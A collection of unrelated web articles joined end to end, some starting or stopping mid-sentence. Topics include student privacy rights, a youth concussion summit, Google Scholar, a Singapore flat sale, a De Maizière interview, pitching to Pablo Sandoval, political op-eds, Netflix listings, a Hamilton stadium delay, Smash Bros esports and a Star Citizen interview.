Nothing that any of the data-mining firms or the security-monitoring firms are doing is technically illegal. The problem is that our technology is, once again, outpacing our legal structure, making a Student Privacy Bill of Rights needed. Now.
Khaliah Barnes, director of the Student Privacy Project and administrative law counsel for the non-profit Electronic Privacy Information Center, has proposed these guidelines:
1. Access and Amendment: Students have the right to access and amend their erroneous, misleading, or otherwise inappropriate records, regardless of who collects or maintains the information. 2. Focused collection: Students have the right to reasonably limit student data that companies and schools collect and retain. 3. Respect for Context: Students have the right to expect that companies and schools will collect, use, and disclose student information solely in ways that are compatible with the context in which students provide data. 4. Security: Students have the right to secure and responsible data practices. 5. Transparency: Students have the right to clear and accessible information privacy and security practices. 6. Accountability: Students should have the right to hold schools and private companies handling student data accountable for adhering to the Student Privacy Bill of Rights.
Growing up is all about testing boundaries and defining characters. In addition to an |
IUCN Red List due to habitat loss and hunting. The species has been driven to extinction in Vietnam and Myanmar. In China it’s habitat — old growth forests — has fallen by roughly 60 percent since 1950.Pres. Barack Obama has his head in the game—that game being football. And soccer. And actually any sport that fuels an elevated risk of head injury, as will be the focus of a summit set for Thursday on sports concussions. The gathering of some 200 sports officials, clinicians, parents, coaches, school officials and youth athletes will feature discussions on how to address head injuries in youth sports as well as new biomedical findings on youth concussions. The meeting comes after the Institute of Medicine (IOM) and the National Research Council last fall released a report on sports-related concussions, laying out significant gaps in concussion research and highlighting a concerning paucity of information on concussions in youth athletes.
The conference, “Healthy Kids and Safe Sports Concussion Summit,” is set against a backdrop of mounting concerns about the health impacts of sports-related head injuries, especially among children. A new report published in JAMA: The Journal of the American Medical Association earlier this month found that head injuries led an estimated 2.5 million people to visit a U.S. emergency room in 2010, and about one third of the cases were children.
The event for Thursday grew from conversations between the president and White House Press Secretary Jay Carney, according to administration officials. Carney and Obama are parents of relatively young children, and they also tend to talk about their shared love of professional sports. Carney’s son wants to play football and his daughter plays soccer, he told reporters on a press call.
The goal of the summit is to raise awareness about when youth players need to be taken out of a game to prevent further brain injury. Many of the new research efforts that will be rolled out by private partners and the federal government aim to fill the gaps identified by the IOM report.
Along these lines, the Department of Defense and National Collegiate Athletic Association (NCAA) plan to launch a $30-million effort to fund studies on concussion and head-impact exposure among college-age athletes with a multisite longitudinal clinical study on concussion risks, treatment and management. By the third year of the study some 37,000 college-age athletes should be included, according to administration officials. The NCAA and Defense also plan to produce new education materials and identify targets for affecting change in the culture and behavior of college student–athletes and young adults at risk of concussions.
The National Football League is also committing another $25 million over the next three years to support projects aimed at promoting youth sports safety and pilot programs to expand access to athletic trainers in schools. (The league already committed $30 million to head-injury research.) In addition, the National Institutes of Health will also announce a new longitudinal research study to measure the chronic effects of repetitive concussions. That effort will be supported by $16 million of the previously announced NFL funds.
The IOM report had also pointed out that there continues to be no good data set on youth concussion rates or way to conduct good regular surveillance in this area. To that end, the White House will announce that the University of California, Los Angeles, will launch a $10-million effort that will support initial research informing the development of a future national surveillance system that would contain accurate figures about the incidence of youth sports–related concussions.
Professional athletes, too, have rallied around addressing concussion issues in recent years. Last year the NFL and thousands of players who sued the league for concussion damage reached a settlement for $765 million. The memory lapses players think are linked to the hits they took on the field can start relatively young. Brett Favre, the former NFL quarterback, said in an October 2013 interview with a Washington, D.C., radio station that at the age of 44 he could not recall an entire season of his daughter’s youth soccer games.
Players have also noted a culture that prompts them to keep playing or come back too soon after a concussion. Despite “return to play” laws now in place in all 50 states, which typically mandate youth and high school athletes must leave the field if they are suspected of having a concussion and return only after a medical examination by a health professional, the incentive to keep playing—especially if students are trying to impress recruiters—remains strong, and players may not admit their concussion symptoms.
At the summit Pres. Obama will be introduced by a female soccer player who has suffered a number of concussions, according to the White House. “Our focus here is on giving parents information that they need to help make judgments about how their kids can be safe,” said Jennifer Palmieri, White House communications director. “Our focus is not on professional sports.”Many librarians are still unwilling to fully embrace Google Scholar as a resource. Michelle C. Hamilton, Margaret M. Janz and Alexandra Hauser investigate whether Google Scholar has the accuracy, authority and currency to be trustworthy enough for scholars.
One of the reasons science librarians prefer subscription-based databases (ie SciFinder or Web of Science) or those offered as a service of the government (ie PubMed) is the nonstandard behavior of Google Scholar when compared to those resources. Google Scholar is not a bibliographic index, it is a search engine. It does not sort results by relevance, it ranks them according to metadata. It crawls for papers from all across the web, not limiting its results to published documents. These differences make librarians skeptical of Google Scholar, but they do not speak to its actual performance.
In the information profession, there is a lot of talk about whether Google Scholar is a good resource for academics and, generally, librarians are hesitant to say that it is, especially if they work with science research. Librarians are a user-centered group, and understand that students like Google Scholar and use it often. But when science students ask about using Google Scholar for their research, many science librarians provide a response that advises students to be extra critical of search results found there or even direct them to different resources all together.
To determine if these surface deterrents were warranted, we of course had to thoroughly scrutinize Google Scholar. Its citation count accuracy and metrics practices were examined by reading the About Google Scholar web pages. The information gathered there provided many insights, but provided few specifics and raised some questions about what makes the search engine “scholarly.” We took our research to the source and questioned Google Scholar via their contact page. We were aware of Google’s notorious secrecy regarding the specifics of their metrics, so we limited our questions to those we regarded as non-proprietary: how does Google Scholar define what it considers “scholarly,” what journals are crawled, and what metadata is considered for ranking search results. The “Google Scholar Team” responded and after a short exchange of email correspondence (much of which only directly quoted or linked to the About pages), we were told that they could no longer respond, writing, “Sorry, we aren’t able to assist you in great detail, it’s a free service.” This like-it-or-lump-it attitude implies that users should just be happy that Google Scholar is free and should not ask any questions about how it works or where the information comes from.
Knowing the source of information is important for determining its accuracy and authority – something scientific research depends highly on. Previous studies comparing Google Scholar to SciFinder, BIOSIS Previews, PubMed and other databases concluded almost unanimously across disciplines that Google Scholar is a good supplementary resource to use in conjunction with those subject specific databases. Google Scholar retrieves citations for much of the same material found on subscription-based databases and includes results from nontraditional and open source documents not indexed by other resources. However, it’s difficult to measure the value of these uniquely retrieved items because it is unknown whether or not they have endured the rigid and controlled evaluation system that defines a work as ‘scholarly’ in scientific research.
Perhaps the most important thing Google Scholar needs to do to minimize its criticisms among science librarians is to make its definition of “scholarly” clear. In the sciences, scholarly research must adhere to empirical standards; its content must be verifiable. To meet these standards halfway, Google Scholar needs to provide more transparency about its inclusion process, even if those items retrieved remain questionable in nature. The recent appearance of their “Top Publications” list is a step in the right direction, but it is only one step.
Usability for Google Scholar could also be improved by making search limits more visible and allowing results to be sorted and reordered, rather than ranked.
Despite its faults, librarians should warm up to Google Scholar. They should play with it and test it alongside the old stand-bys as they do their own research and answer reference questions. Depending on the research topic, it can provide some relevant sources that might not be found outside of Google Scholar. Users should be advised to be critical of information found by any means, but perhaps be more vigilant with Google Scholar. For that reason, Google Scholar should be included in library instruction to familiarize users with its functionality as well as its limitations. Knowing how to get the most out of all resources is important for librarians; Google Scholar shouldn’t be excluded simply because it’s unconventional.
As MLS candidates at Indiana University Bloomington, Michelle C. Hamilton, Alexandra Hauser, Margaret M. Janz & Fiona Taggart, together with classmates Jerry Gray and Justin P. Peters examined Google Scholar as a resource for scientific research and how it should be considered by science librarians. Their article “Scholarish: The Value of Google Scholar to the Sciences,” from Issues in Science and Technology Librarianship (Summer 2012), offers advice for science librarians when confronted with student questions regarding the use of Google Scholar.
Note: This article gives the views of the author(s), and not the position of the Impact of Social Sciences blog, nor of the London School of Economics.
About the authors:
Michelle Hamilton has a Bachelor of Arts in History from Saint Mary’s College and completed her Master of Library Science at Indiana University Bloomington in August 2012. She is especially interested in the aspects of reference, research, and instruction of information literacy among university students.
Alexandra Hauser has a Bachelor of Arts in History from Michigan State University and is currently pursuing a Master of Library Science at Indiana University Bloomington. Her research interests include information literacy issues and library assessment. She is also the co-author of the forthcoming article, “Beyond gatekeepers of knowledge: Scholarly communication practices of academic librarians and archivists at ARL institutions” to be published in College & Research Libraries.
Margaret Janz has a bachelor of science in information resources from the University of Wisconsin – Milwaukee and is currently pursuing a Master of Library Science with a specialization in chemical information at Indiana University Bloomington, where she works in the Chemistry and Life Sciences Libraries. She is particularly interested in issues relating to open science information, international information collaboration, and data management.A 5-room HDB resale flat in Toa Payoh recently changed hands for $955,000 a figure that is comparable to the high resale flat prices at The Pinnacle@Duxton, reported My Paper.
The sale also stood out as it happened near the Ghost Month, which is usually a quiet period for the property market.
Measuring 124 sqm, the 14-year-old flat is located at Block 154 in Toa Payoh Lorong 2, between the 22nd and 24th storeys, showed HDB data.
In July 2007, a 5-room resale flat on the 28th storey of the same block was sold for $650,000, a new record for resale flat prices within the area at that time.
Eugene Lim, Key Executive Officer at ERA Realty, said the unit enjoys an excellent location.
Situated just across the road from Toa Payoh Town Centre, the flat is near the Toa Payoh MRT station, with an underpass directly linking to it, he said.
Since it is on a high floor, the unit is not blocked by any surrounding flats, offering unobstructed views, noted Lim.
If the owner is facing the right direction, he can even see the MacRitchie Reservoir, he added.
However, he believes the deal is unlikely to become a trend as it is more of an exception than the norm.
Image: Toa Payoh Town Centre. (Photo by Sengkang; Wikimedia Commons)
Romesh Navaratnarajah, Singapore Editor at PropertyGuru, edited this story. To contact him about this or other stories email romesh@propertyguru.com.sg
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HDB deficit rises to over $2 billion
TTJ wins new contracts totaling $16m
Home prices continue to fall
REDAS to work with govt over oversupply fears
GCB off Holland Road for saleSPIEGEL: Minister de Maizière, during his recent speech on the future of North Atlantic Treaty Organization, outgoing US Defense Secretary Robert Gates said that there are two categories of NATO partners: those who fight and those who dig wells. Which category is Germany in?
Thomas De Maizière: In Afghanistan, we're demonstrating that the Bundeswehr (eds. note: the German military) is a fighting army whenever it has to be.
SPIEGEL: When it comes to NATO's mission in Libya, Gates recently said that Germany, among others, wasn't doing enough. What is your response?
De Maizière: Our decision to not participate in the military part of the Libya mission was based on carefully considered reasons. It remains correct. But that doesn't put us in the category of mere well-diggers, as you put it.
SPIEGEL: Have you no bad conscience at all, given that your NATO partners in Libya are running out of steam and munitions?
De Maizière: The Americans did ask us for military assistance again at the most recent NATO meeting. We turned them down. But we have made things easier for the alliance by allowing German AWACS planes to participate in the mission in Afghanistan. And there's one thing I'd like to add: When you start something, you of course always have to know how long you can keep it up.
SPIEGEL: On the eve of the first NATO airstrikes, you said on German public broadcaster ZDF: "Could the fact that we are suddenly intervening now have something to do with oil? We can't get rid of all the dictators in the world with an international military mission." Would you still say the same thing?
De Maizière: Yes. The "responsibility to protect" a country's civilian population if its government violates human rights is firmly anchored in international law. But does that mean we are allowed to intervene? Or does that mean we're actually required to? I believe that each military operation must be analyzed to determine whether its goals can be achieved with appropriate means and within an appropriate time frame as well as how one gets out at the end. Every one.
SPIEGEL: You are dodging the question. You have insinuated that Germany's NATO allies are only intervening in Libya because of oil.
De Maizière: No, I wasn't insinuating that at all. I strictly formulated that as a hypothetical.
SPIEGEL: But your formulation still implies it.
De Maizière: During the interview, I was pointing out that there have to be criteria for each and every decision about humanitarian intervention -- even if that presents me with a number of dilemmas. If I say yes once, then I'll have to justify why I say no the next time. Refraining from action is also a decision. One must make a decision, but one can't expect that -- no matter what the decision is -- one can always emerge from this kind of matter with clean hands. I have to live with that.
SPIEGEL: You have said that you would like to "constructively examine" whether German soldiers can be deployed as part of a peacekeeping force once the war is over. Foreign Minister Guido Westerwelle would like to look into this as well, but not "constructively." How much of a difference is there between you two?
De Maizière: There's no difference. Incidentally, I'm the type of person who always examines things constructively.
SPIEGEL: Westerwelle has also insisted that Germany will maintain its position of non-participation in the military mission in Libya. He speaks of providing "aid for a political fresh start as well as economic and social reconstruction."
De Maizière: I agree with that statement completely. Having international peacekeepers is a hypothetical matter that will only become necessary if Libya collapses and conflicting parties must be separated. In a country that is developing in a hopefully democratic direction, that would be neither necessary nor desirable.
SPIEGEL: So both you and Westerwelle oppose getting involved militarily even after Gadhafi is overthrown?
De Maizière: No. That is not our position. I hope that things don't come to that kind of military mission. Hopefully Libya will remain united and develop in a democratic direction.
SPIEGEL: You've been at the helm of Germany's Defense Ministry for three months. During that time, you've had to deliver condolences to the families of four German soldiers killed in Afghanistan. What are your thoughts and feelings in such a situation?
De Maizière: It is difficult, though nothing compared to the pain that the relatives feel themselves. It makes it clear just how directly I, at the top of the chain of command, bear personal responsibility for my soldiers. Furthermore, it has once again become clear to me how difficult it is to accept when parents must bury their children rather than the other way around.
SPIEGEL: Did these young people die in vain?
De Maizière: At first glance, their deaths are senseless. There is no political, military or moral sense to having someone who is trying to bring safety and development to a country be blown up by a small minority. At the same time, though, you can't send soldiers on dangerous missions and then call these missions off just because there are casualties. We have to accept and affirm the fact that killing and dying are part of it.
SPIEGEL: It's been almost a decade since the Bundestag, Germany's parliament, approved the country's involvement in Afghanistan. In retrospect, would you say it was the right decision?
De Maizière: Yes, the decision was correct. But the justification aimed too high. We not only said that we wanted no more terror to be exported from Afghanistan; we also promised a democratic Afghanistan, a place of stability and prosperity. We're still paying for these high expectations today.
SPIEGEL: A more modest goal may have never won approval.
De Maizière: That may be so. But if there is any lesson to be learned from Afghanistan, it would be this: You shouldn't promise the moon to guarantee a majority. Sooner or later, it will comes back to haunt you. Perhaps we should listen to military experts more when considering new missions. They tend to be more reserved in their recommendations, at least compared to many civilians. They know best what it means.
SPIEGEL: Apropos frankness, wouldn't it be more straightforward to tell people that there is going to be another eruption of chaos if NATO makes a swift withdrawal? And that we either have to live with that idea or stay in Afghanistan for decades to come?Hello there, Royals pitchers! Congratulations on reaching this point — you’ve done many proud. No matter what happens, your 2014 season has been a screaming success. The Royals are back on the baseball map nationally and, more importantly, locally. But of course you’re not done yet, as there’s one remaining step in the staircase: Looming in front of you are the San Francisco Giants. You’ll face many different Giants hitters; among them will be Pablo Sandoval. In case you’ve never seen him before, you’re in for an experience. I’d like to show you something. Actually, I’d like to show you two somethings. Here’s one of them:
Pablo Sandoval: 45% out-of-zone swing rate
45% out-of-zone swing rate Matt Carpenter: 46.8% in-zone swing rate
You’re going to face Sandoval; it could’ve been you would’ve faced Carpenter. Sandoval swings at about as many balls as Carpenter does strikes. For the sake of some perspective:
Pablo Sandoval: 45% out-of-zone swing rate
45% out-of-zone swing rate Salvador Perez: 44.1% out-of-zone swing rate
So that’s how aggressive this Sandoval character is. Now, you might be wondering, “Does that mean he’s as easy to get out sometimes as Salvy?” No, this Sandoval guy is a unique sort of challenge. To prepare you for the challenge to come, I’m going to provide you with some strategy tips. How should you pitch to Pablo Sandoval, if you want to get him out? Pay careful attention to my advice.
Be careful with pitches in the zone
This should be pretty obvious. You should always be careful with pitches in the zone, to everyone. Sandoval likes to swing at balls, so that means he also likes to swing at strikes. When he does that, he makes contact 86% of the time. As Baseball Savant tells us, Sandoval has slugged.564 against pitches within the PITCHf/x strike zone during his career. That’s a very good slugging percentage, so this isn’t a guy to groove many pitches against. The Giants like to hit him in the middle. Careful with strikes against guys who hit in the middle.
Be careful with pitches out of the zone
So Sandoval likes to chase. For him, it’s not really chasing — he just operates with a big personal strike zone. When Sandoval’s gone out of the PITCHf/x strike zone, he’s made contact nearly 80% of the time, which is more often than a guy like Chris Davis hits strikes. And it’s not just weak, empty contact. During the PITCHf/x era, Sandoval’s slugged.425 against pitches out of the zone, which is the highest mark in baseball. You know how most of you are right-handed? Sandoval’s a switch-hitter, too, and he’s better from the left side. From the left side, he’s slugged.452 against pitches out of the zone. On contact, that goes up to.544. The strike zone’s supposed to capture the hittable area. It doesn’t quite capture Sandoval’s.
Be careful with pitches down
We can break this into more detailed areas. It’s not like all pitches out of the zone or near the border are created alike. Want to pitch Sandoval down? Be careful. He will swing, often, but he’s slugged.439 against pitches down as a lefty, which is fourth-best in baseball. He can punish pitches that aren’t far off the ground:
According to Brooks Baseball, Sandoval’s made contact 80% of the time he’s gone below the zone. He can stretch those arms.
Be careful with pitches in the middle
Duh. Sandoval swings at these pitches. He doesn’t miss these pitches. Against these pitches as a lefty he’s slugged.554. Other batters have slugged better, but any slugging percentage that begins with the number five indicates that it’s a tricky area for pitchers to navigate. Lots of normal guys are dangerous thigh-high. Sandoval is abnormal, but not in that way.
Be careful with pitches up
Some guys who excel at hitting the low ball can be exposed up top. Sandoval’s not really one of them. As a lefty, against pitches up, he’s slugged.495, which is the 10th-best mark in baseball. I mean:
There’s an area up there where Sandoval becomes likely to swing and miss. Out of the zone, up, Sandoval’s missed with one out of every three attempts. But he still packs a wallop, and to get him to miss you have to really climb the ladder. If you miss at all below the target you could be whipping around in a hurry. The safe spot is surrounded by dangerous spots, which makes the whole area a dangerous spot.
Be careful with pitches in
Not a lot of pitchers work Sandoval inside when he bats as a lefty, and there’s a good reason for that.
Sandoval doesn’t often whiff when he swings inside. As a lefty, he’s slugged.530 against inside pitches, as he’s blessed with quick wrists that let him get the bat head out in front. This, of course, applies to both inside strikes and inside balls. The pitch you see above was an inside ball. If you’re trying to pitch him right under the hands, good luck. Those hands move around.
Be careful with pitches away
Here’s a fun fact: As a lefty, Sandoval’s slugged.472 against pitches away. That’s 22nd-best in baseball, even with one Prince Fielder. Pitchers routinely target areas away, as they tend to do against mostly opposite-handed hitters. Just as Sandoval can turn on a pitch in, he can smack a pitch away to the opposite field, seemingly without any problem.
Sandoval’s least likely to swing at pitches out of the zone, away, but he’ll still chase and he’s still made contact with those pitches 80% of the time. If you’re pitching to Sandoval, all your defenders need to be paying attention, because he can cover the entire field.
Be careful with fastballs
Against fastballs and cutters, Sandoval has been 57 runs better than average for his career. To put that in more familiar terms: He’s hit.302 and slugged.502, with both marks even better left-handed. He’s made contact better than 80% of the time. Sandoval can slap fastballs, and he can also turn on them, depending on the location.
Be careful with off-speed pitches
Against off-speed pitches, Sandoval has been 20 runs better than average for his career. To put that in more familiar terms: He’s hit.319 and slugged.473, with both marks similar left-handed. He’s made contact 84% of the time, which is even better than his fastball contact rate. That’s the hallmark of someone who’s able to make an on-the-fly adjustment.
Be careful with breaking balls
Against breaking balls, Sandoval has been four runs better than average for his career. To put that in more familiar terms: He’s hit.272 and slugged.419, with both marks better left-handed. He’s made contact 82% of the time, which is also better than his fastball contact rate. While Sandoval has been worse against breaking balls than against other pitch types, he’s one of the relatively few players to be better than average against all three types. If you’re not careful with your slider or curve, Sandoval’s more than capable of drilling it.
Be careful with two strikes
With some players, when you get them into a two-strike count, you all but already have them beat. With Sandoval, it’s not so. Since he debuted, the average player has hit.182 and slugged.274 with two strikes. Sandoval has hit.221 and slugged.338, and this year he hit six home runs. Players are at their most aggressive when they’re a strike away from a whiff. For some, that’s a departure from their comfort zone, but Sandoval is naturally so aggressive anyway that two strikes don’t seem to bother him, relatively speaking. You could say he’s always hitting like he has a two-strike count.
==========
So what do we have here? Some kind of impossible player to get out? Not really. Sandoval’s career OBP is.346. This year it was.324. Most of the time, Sandoval will not reach base, meaning the pitcher was successful. His true talent as a hitter is probably about 15% to 20% better than the league average. That’s not Barry Bonds. Pablo Sandoval isn’t annoying because he’s unstoppable; he’s annoying because he’s kind of strategy-proof. He doesn’t have a clear weakness.
The best advice I can give is to just pitch him without pitching him stupid, and then whatever happens happens. He’s going to hit pitches he has no business hitting. It’s obnoxious. But there’s nothing you can do about that, so you just have to not let it bother you. You’re pitching to Pablo Sandoval in the World Series? Pitch however you usually pitch. Maybe see if you can pitch left-handed, if you don’t already do that. That’s the one thing, so maybe that’s the key. Pitch to Pablo Sandoval left-handed. If you can’t use that advice, there is no other advice.A silly controversy surrounding a Missouri rodeo clown’s decision to don a mask of President Barack Obama before taunting bulls to attack him – a traditional practice in American rodeo culture – became frighteningly serious on Wednesday. Rather than push back against the overwrought response from some Obama supporters, offended by the mockery of the president, the White House has tacitly condoned their response. Clown-gate is no longer a laughing matter.
A brief roundup of the reaction from a variety of sources which has followed the public mockery of the president is already sufficiently shocking:
The rodeo clown and the organization that hired him have apologized for the incident. The president of the Missouri Rodeo Cowboy Association has resigned and the clown has been “banned for life” from performing at the state fair. A number of state officials have condemned the clown and the NAACP has called for a full investigation into the incident.
But the worst was yet to come. On Wednesday, White House spokesman Josh Earnest was asked to react to the controversy surrounding the clown’s actions. Rather than refuse to answer the question, the Missouri native said that the event was “certainly not one of the finer moments in our state.”
Some have suggested that President Obama take time away from his vacation to address the hyperbolic reaction his supporters have displayed over his mockery. This would have been an unnecessary elevation of the incident, not to mention a diminution of the office’s stature. That is, it would have been until today.
RELATED: Obama Spokesman on Rodeo Clown: ‘Not One of the Finer Moments’ for Missouri
Now that the White House has weighed in on the incident via an official spokesperson, and their response was to lament on how the incident reflects negatively on the state of Missouri, the only conclusion we are left to draw is that this White House condones the absurdly defensive overreaction. This is what anyone who dares mock the president is due.
This is a disturbing and, frankly, terrifying development. Any classical liberal should be offended at the prospect that a presidential administration would use its considerable leverage to justify the suppression of the right of average citizens to freely mock and deride the political class without the fear of reprisal. Indeed, lampooning and creating caricatures of political figures is a foundational American value. To attack that value is to attack what it means to be a citizen of the republic.
We can draw only one conclusion from Wednesday’s events. The president will not weigh in on the controversy, not because he does not think this event should not be elevated beyond its present outsize stature, but because he does.
> >Follow Noah Rothman (@NoahCRothman) on Twitter
Have a tip we should know? tips@mediaite.comKarl Rove blasted Donald Trump this weekend, saying his upcoming Newsmax debate host gig is a big “ego trip” for the real-estate mogul and reality-show host, and that the Republican National Committee should discourage the 2012 GOP candidates from attending.
Asked on “Fox and Friends” about the Trump-moderated debate set for Dec. 27 in Iowa, Rove said that all of the candidates will get “stuck” going to his debate but “it’s really odd.”
Donald Trump, Chairman and President of the Trump Organization, speaks to several GOP women's group at the Treasure Island Hotel & Casino April 28, 2011 in Las Vegas, Nevada. (David Becker/GETTY IMAGES)
“What the heck are the Republican candidates doing showing up at a debate with a guy who says I may run for president next year as an independent,” he said. “I think the Republican national chairman ought to step in and say we strongly discourage every candidate from appearing in a debate moderated by somebody who is going to run for president.”
RNC Chair Reince Priebus said Sunday that it’s up to the individual candidates to decide whether they will participate.
Ron Paul and Jon M. Huntsman Jr. have said they won’t be at the debate, while current frontrunner Newt Gingrich has said he will attend “for the entertainment value.”
And Huntsman had this to say about the Trump debate.
“I’m not going to kiss his ring and I’m not going to kiss any other part of his anatomy. This is exactly what is wrong with politics. It is show business over substance. If he had any courage at all he would be running for President of the United States of America as opposed to manipulating the process from the outside,” Huntsman said on Fox’s “American’s Newsroom.” “This is about real issues; it’s not about show business. The Presidency of the United States of America is more important than the silly game shows and reality shows.”
Rove echoed Huntsman.
“It doesn’t help the country. I mean, if you’re going to be a candidate, be a candidate. Don’t make it contingent upon whether or not your show is renewed or not?,” Trump said. “How trivial is that. How does that trivialize the most important decision that we Americans have, which is who we’re going to elect as our president.”Coming Soon
Elisa & Marcela
In 1901 in Galicia, Spain, Elisa Sánchez Loriga adopts a male identity in order to marry another woman, Marcela Gracia Ibeas. Based on true events.
If I Hadn't Met You
Eduard, a husband and father who loses his family in a tragic accident, travels to parallel universes to seek a better fate for his beloved wife.
ReMastered: Devil at the Crossroads
Robert Johnson was one of the most influential blues guitarists ever. Even before his early death, fans wondered if he'd made a pact with the Devil.
Six Underground
Ryan Reynolds stars in this action film from the creators of the “Deadpool” franchise.
Charlie's Colorforms City
Loveable, hilarious Charlie leads you on unpredictable and imaginative shape-filled story expeditions alongside a colorful cast of characters.
I Am Not Okay With This
A teen navigates the complexities of high school, family and her sexuality while dealing with new superpowers. Based on Charles Forsman's graphic novel.
Black Moon
In 17th century Italy, a teenage midwife accused of witchcraft must choose between a star-crossed love and fulfilling her powerful destiny.
Selling Sunset
The elite real estate brokers at The Oppenheim Group sell the luxe life to affluent buyers in LA. The drama ramps up when a new agent joins the team.By Matt Van Dongen
The Hamilton Spectator
Final inspections of Hamilton's long-delayed stadium are expected to begin Thursday but the city doesn't expect to take possession until mid-April.
"My gut feeling is we're still five to six weeks away," said public works head Gerry Davis at the latest Pan Am subcommittee meeting Tuesday. "Where I see the project now, by mid-April, we should be in there."
The city is still waiting to take possession of the $145-million stadium that was supposed to be finished last July.
No representatives from the contractor, Ontario Sports Solutions, or provincial project oversight agency Infrastructure Ontario attended the meeting Tuesday.
But Davis said 139 "non-compliant items" remain to be either fixed or negotiated before the contractor can expect to reach substantial completion," a contractual standard that must be met before $89 million in payments will be released for the work.
Some of the problems require compensation, not a fix — for example, a room that ended up being smaller than requested.
Davis said the contractor expects to formally request inspections Thursday from both city building inspectors, who sign off on an occupancy permit, and IO's independent certifier, who determines substantial completion.
But that process will likely take at least 10 days — and maybe quite a few more, if the certifier orders the contractor to do more work.
There are also three construction liens outstanding on the building that must be dealt with before it is turned over to the city, Davis added.
The city has already booked community group events and practices in the stadium for May. So far, Davis said he's "confident" they won't lose out.If you ask the average esports fan when Super Smash Bros. became a blip on their radar, most will point to one event: The Evolution Fighting Championships 2013.
Some players were making six figures in esports in 2013. During a breast cancer charity drive to see who could raise the most money, the fighting game community ended up raising over $250,000 for a good cause, and for a bit of friendly pride. The event led to a competition between many subsects of the fighting game community, or FGC, with each title looking to show that their fans were the most diehard, and that they deserved a shot to be venerated on Evolution's main stage. Of it, the victor was a section of the fighting game community that you'd consider that distant cousin discussed at reunions: the Smash Bros. community.
Smash Bros. isn't your typical fighting game. We've seen a myriad of arguments as to whether the Smash games are "true fighters." Players stated that they are mechanically different, but they do share more than in-game fundamentals. They share a lineage of how the scenes were formed.
Back in 2002, years after quarters were tossed in arcade slots for that Player 1 spot, the competitive Smash Bros. scene can be traced back to Gamecube discs in Matt "MattDeezie" Dahlgren's home. Across the country, and later the globe, smashers started collecting in basements and backrooms just for the chance to test their skills in the same way. The scene for Super Smash Bros. Melee esports sprung up, and dedicated niches would also pop up for the original Super Smash Brothers, and the sequels, Super Smash Bros. Brawl for Wii and Super Smash Bros. for Wii U, as well as community created mods. First party support was a pipe dream, but the scenes survived because of people who had something to prove to their opponents; then they saw that the world was filled with potential opposition.
Weston "Westballz" Dennis (left) takes on Adam "Armada" Lindgren (right) at DreamHack London 2015. DreamHack
After the trophies were handed out at Evo in Las Vegas in 2013, we got a chance to soak it in. It wasn't just a bracket that the community received, it was a reintroduction to the ballrooms that many smashers |
those kind of tasks of wrangling everything have been shared and then we had Hannes which is a engine programmer. So yeah, 4 people within one day is pretty nuts but the team is also busy with what we call onboarding those guys – is making sure from each discipline: they need the right people, they know where all the documentation is, the best practices, they start reading up on the discipline a bit more, understanding what they need to push on and so on.
So, I’ve already talked for almost 5 minutes because I have a clock right here so I will shut up, but thanks again for the support, thanks for all the messages, hopefully I was a little more peppy, I know I’m not crazy peppy but yeah, thanks, and see you next week.
Back to the Studio
BL: Thank you folks. Lets check in with Community ManagerJared Huckaby who sat down with Design Director Todd Papy.
SG: In this week’s ATV Interview.
BL: In this week’s ATV Interview.
ATV Interview: Todd Papy
JH: Thanks guys. This week on the ATV Interview we’re sitting down with the Design Director out of Foundry 42 Frankfurt, Mr Todd Papy. Todd, how you doing man?
Todd Papy (TP): Good to see you again.
JH: Good. Thanks for coming back. You’re in town for like a day and I begged “please” …
TP: A week and then a day.
JH: … please will you come in, and will you sit on the show and talk. Now we’ve had you on the show before but every time … it was like almost half a year ago …
TP: Yeah.
JH: … we’ve gained 300,000 new people who have no idea who you are. So you’re Todd Papy, you’re the Design Director for Star Citizen. What does that entail? What do you do for Star Citizen?
TP: So I … basically in charge of Design. I mean … so …
JH: Okay, that’s been the ATV Interview. Thank you for watching.
TP: Making sure that I work with, very closely with, the other Creative Directors in studios or other Lead Designers in the studios. So, for example, Kirk Tome here, then we’ve got Nick Elms in UK office, and then we’ve got other leads throughout other various offices. But my job is to make sure that the vision that Chris wants is getting implemented into the game. And then making sure that if Chris, Erin and Tony all want something then we talk about it and then we, you know, work it out and put it into the game.
JH: So what happens when people want different things?
TP: Well I equate it to mum, dad and uncle fighting and I let them work out what role they want to play.
JH: Okay. Right. And then once you’ve built that consensus with the three of them, or whatnot …
TP: Yeah.
JH: … What happens then?
TP: At that point then we make sure all the leads are on the same page and we funnel it out to the team.
JH: Okay. So you were … you’re in town last week, you’re in town for a single day today; what brought you to LA last week?
TP: To sync up with Tony and talk about what we are doing for the next 12 months in the PU.
JH: Okay.
TP: And so sitting down with Tony, Erin and Ricky and scheduling out what kind of careers we’re going to be working on; what types of environments are we going to be building and pushing out; and then what kind of tech do we need in order to facilitate all of that stuff.
JH: So what are we doing for the next 12 months in the PU? What kind of careers are we doing? What kind of tech do we need?
TP: So with the PU obviously we’re starting to really dig into the mission system. One of our goals in particular is to make sure that we’re introducing non-combat centric roles. Just because right now we know everything centers around fighting. Now part of that was just taking what we had in AC and now it’s just a bigger playground. But now we’re going through talking about cargo, salvage, rescue, escorting, and I think about five other ones that we felt were unique to … or what we felt we could do a really cool take on in Star Citizen and really start fleshing out the world and making sure that it has these other roles that the players can go and actually do and just not shoot everything.
JH: That’s not to say our work on the shooting part is done?
TP: No, no, no, not even close. Then obviously still … with FPS and everything like that we’re still working a lot of the base mechanics; getting those as smooth as possible. We’re not … we’re not happy with it yet. So that’s the best way to put it. And then with EVA, then there’s still kinks and everything that we need to work out with that. The gunplay: Bender and I were talking about that this last week as far as getting the movement in the weapon so that when the player moves the stick right, well we get the gun twisting and you start getting those … that shuffling but it’s more one-to-one so … if you’re playing with a stick then you’re getting that exact movement and the gun is moving exactly the way that you want it to.
And then from there obviously the ship weapons and the refactors that are happening across the board with shields, with armour, with just the balancing in general, missiles, weapons, and then just power consumption across the ships. Making sure that if we are putting out a power plant then it has a pool that you can draw from, and then making sure that when you attach a new cooler or you attach a new quantum drive or jump drive or something like that then it’s all pulling power … and then in the beginning you get to choose your loadout and how you want to run your ship, and then at that point it becomes, not necessarily a power management game, but it allows you to customise your ship and gives the players options. Which is what we are always looking for.
JH: You mentioned a little bit about the FPS stuff, that’s still ongoing development in … from the Frankfurt office?
